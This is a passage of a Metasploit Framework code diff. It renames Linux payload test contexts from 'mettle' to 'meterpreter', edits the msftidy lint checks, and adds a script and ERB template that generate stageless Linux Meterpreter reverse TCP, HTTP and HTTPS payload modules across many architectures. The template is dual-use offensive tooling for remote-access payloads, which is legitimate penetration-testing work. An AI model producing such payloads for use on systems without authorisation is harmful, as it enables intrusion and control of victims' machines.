'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/bind_ipv6_tcp' + reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp' end - context 'linux/x86/mettle/bind_ipv6_tcp_uuid' do + context 'linux/x86/meterpreter/bind_ipv6_tcp_uuid' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/bind_ipv6_tcp_uuid', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/bind_ipv6_tcp_uuid' + reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp_uuid' end - context 'linux/x86/mettle/bind_nonx_tcp' do + context 'linux/x86/meterpreter/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/bind_nonx_tcp', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/bind_nonx_tcp' + reference_name: 'linux/x86/meterpreter/bind_nonx_tcp' end - context 'linux/x86/mettle/bind_tcp' do + context 'linux/x86/meterpreter/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/bind_tcp', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/bind_tcp' + reference_name: 'linux/x86/meterpreter/bind_tcp' end - context 'linux/x86/mettle/bind_tcp_uuid' do + context 'linux/x86/meterpreter/bind_tcp_uuid' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/bind_tcp_uuid', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/bind_tcp_uuid' + reference_name: 'linux/x86/meterpreter/bind_tcp_uuid' end - context 'linux/x86/mettle/find_tag' do + context 'linux/x86/meterpreter/find_tag' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/find_tag', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/find_tag' + reference_name: 'linux/x86/meterpreter/find_tag' end - context 'linux/x86/mettle/reverse_ipv6_tcp' do + context 'linux/x86/meterpreter/reverse_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/reverse_ipv6_tcp', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/reverse_ipv6_tcp' + reference_name: 'linux/x86/meterpreter/reverse_ipv6_tcp' end - context 'linux/x86/mettle/reverse_nonx_tcp' do + context 'linux/x86/meterpreter/reverse_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/reverse_nonx_tcp', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/reverse_nonx_tcp' + reference_name: 'linux/x86/meterpreter/reverse_nonx_tcp' end - context 'linux/x86/mettle/reverse_tcp' do + context 'linux/x86/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/reverse_tcp', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/reverse_tcp' + reference_name: 'linux/x86/meterpreter/reverse_tcp' end - context 'linux/x86/mettle/reverse_tcp_uuid' do + context 'linux/x86/meterpreter/reverse_tcp_uuid' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/reverse_tcp_uuid', - 'stages/linux/x86/mettle' + 'stages/linux/x86/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle/reverse_tcp_uuid' + reference_name: 'linux/x86/meterpreter/reverse_tcp_uuid' end - context 'linux/x86/mettle_reverse_tcp' do + context 'linux/x86/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/x86/mettle_reverse_tcp' + 'singles/linux/x86/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x86/mettle_reverse_tcp' + reference_name: 'linux/x86/meterpreter_reverse_tcp' end - context 'linux/zarch/mettle_reverse_tcp' do + context 'linux/zarch/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/zarch/mettle_reverse_tcp' + 'singles/linux/zarch/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/zarch/mettle_reverse_tcp' + reference_name: 'linux/zarch/meterpreter_reverse_tcp' end end diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index c93b6468ad..2bd7624647 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -12,16 +12,6 @@ require 'time' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] SUPPRESS_INFO_MESSAGES = !!ENV['MSF_SUPPRESS_INFO_MESSAGES'] -TITLE_WHITELIST = %w{ - a an and as at avserve callmenum configdir connect debug docbase dtspcd - execve file for from getinfo goaway gsad hetro historysearch htpasswd ibstat - id in inetd iseemedia jhot libxslt lmgrd lnk load main map migrate mimencode - multisort name net netcat nodeid ntpd nttrans of on onreadystatechange or - ovutil path pbot pfilez pgpass pingstr pls popsubfolders prescan readvar - relfile rev rexec rlogin rsh rsyslog sa sadmind say sblistpack spamd - sreplace tagprinter the tnftp to twikidraw udev uplay user username via - welcome with ypupdated zsudo -} if CHECK_OLD_RUBIES require 'rvm' @@ -215,6 +205,18 @@ class Msftidy end end + def check_self_class + in_register = false + @lines.each do |line| + (in_register = true) if line =~ /^\s*register_(?:advanced_)?options/ + (in_register = false) if line =~ /^\s*end/ + if in_register && line =~ /\],\s*self\.class\s*\)/ + warn('Explicitly using self.class in register_* is not necessary') + break + end + end + end + # See if 'require "rubygems"' or equivalent is used, and # warn if so. Since Ruby 1.9 this has not been necessary and # the framework only suports 1.9+ @@ -227,6 +229,15 @@ class Msftidy end end + def check_msf_core + @lines.each do |line| + if line_has_require?(line, 'msf/core') + warn('Explicitly requiring/loading msf/core is not necessary') + break + end + end + end + # Does the given line contain a require/load of the specified library? def line_has_require?(line, lib) line =~ /^\s*(require|load)\s+['"]#{lib}['"]/ @@ -447,19 +458,6 @@ class Msftidy end end - def check_title_casing - if @source =~ /["']Name["'][[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ - words = $1.split - words.each do |word| - if TITLE_WHITELIST.include?(word) - next - elsif word =~ /^[a-z]+$/ - warn("Suspect capitalization in module title: '#{word}'") - end - end - end - end - def check_bad_terms # "Stack overflow" vs "Stack buffer overflow" - See explanation: # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx @@ -701,7 +699,9 @@ class Msftidy check_shebang check_nokogiri check_rubygems + check_msf_core check_ref_identifiers + check_self_class check_old_keywords check_verbose_option check_badchars @@ -709,7 +709,6 @@ class Msftidy check_old_rubies check_ranking check_disclosure_date - check_title_casing check_bad_terms check_bad_super_class check_bad_class_name diff --git a/tools/dev/update_gem_licenses.sh b/tools/dev/update_gem_licenses.sh new file mode 100755 index 0000000000..66c35926fd --- /dev/null +++ b/tools/dev/update_gem_licenses.sh @@ -0,0 +1,8 @@ +#!/bin/sh + +# This script regenerates the LICENSE_GEMS file with the current gem licenses. +# It should be run automatically whenever Metasploit cuts a new release itself. + +gem install license_finder +echo "This file is auto-generated by tools/dev/update_gem_licenses.sh" > LICENSE_GEMS +license_finder | grep , >> LICENSE_GEMS diff --git a/tools/modules/generate_mettle_payloads.rb b/tools/modules/generate_mettle_payloads.rb new file mode 100755 index 0000000000..91d8bbb520 --- /dev/null +++ b/tools/modules/generate_mettle_payloads.rb @@ -0,0 +1,45 @@ +#!/usr/bin/env ruby +# +# This script generates Mettle payload wrappers +# + +require 'erb' + +schemes = [ + 'tcp', + 'http', + 'https' +] + +arches = [ + ['aarch64', 'aarch64-linux-musl'], + ['armbe', 'armv5b-linux-musleabi'], + ['armle', 'armv5l-linux-musleabi'], + ['mips64', 'mips64-linux-muslsf'], + ['mipsbe', 'mips-linux-muslsf'], + ['mipsle', 'mipsel-linux-muslsf'], + ['ppc', 'powerpc-linux-muslsf'], + ['ppc64le', 'powerpc64le-linux-musl'], + ['x64', 'x86_64-linux-musl'], + ['x86', 'i486-linux-musl'], + ['zarch', 's390x-linux-musl'], +] + +arch = '' +payload = '' +scheme = '' +cwd = File::dirname(__FILE__) +template = File::read(File::join(cwd, 'linux_meterpreter_reverse.erb')) +renderer = ERB.new(template) + +arches.each do |a, p| + schemes.each do |s| + arch = a + payload = p + scheme = s + filename = File::join('modules', 'payloads', 'singles', 'linux', arch, "meterpreter_reverse_#{scheme}.rb") + File::write(filename, renderer.result()) + end +end + +`bundle exec #{File::join(cwd, 'update_payload_cached_sizes.rb')}` diff --git a/tools/modules/linux_meterpreter_reverse.erb b/tools/modules/linux_meterpreter_reverse.erb new file mode 100644 index 0000000000..bffd3a8edb --- /dev/null +++ b/tools/modules/linux_meterpreter_reverse.erb @@ -0,0 +1,40 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_<%= scheme %>' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_<%= arch %>_linux' + +module MetasploitModule + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse <%= scheme.upcase %> Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_<%= arch.upcase %>, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::Reverse<%= scheme.capitalize %>, + 'Session' => Msf::Sessions::Meterpreter_<%= arch %>_Linux + ) + ) + end + + def generate + opts = {scheme: '<%= scheme %>'} + MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec + end +end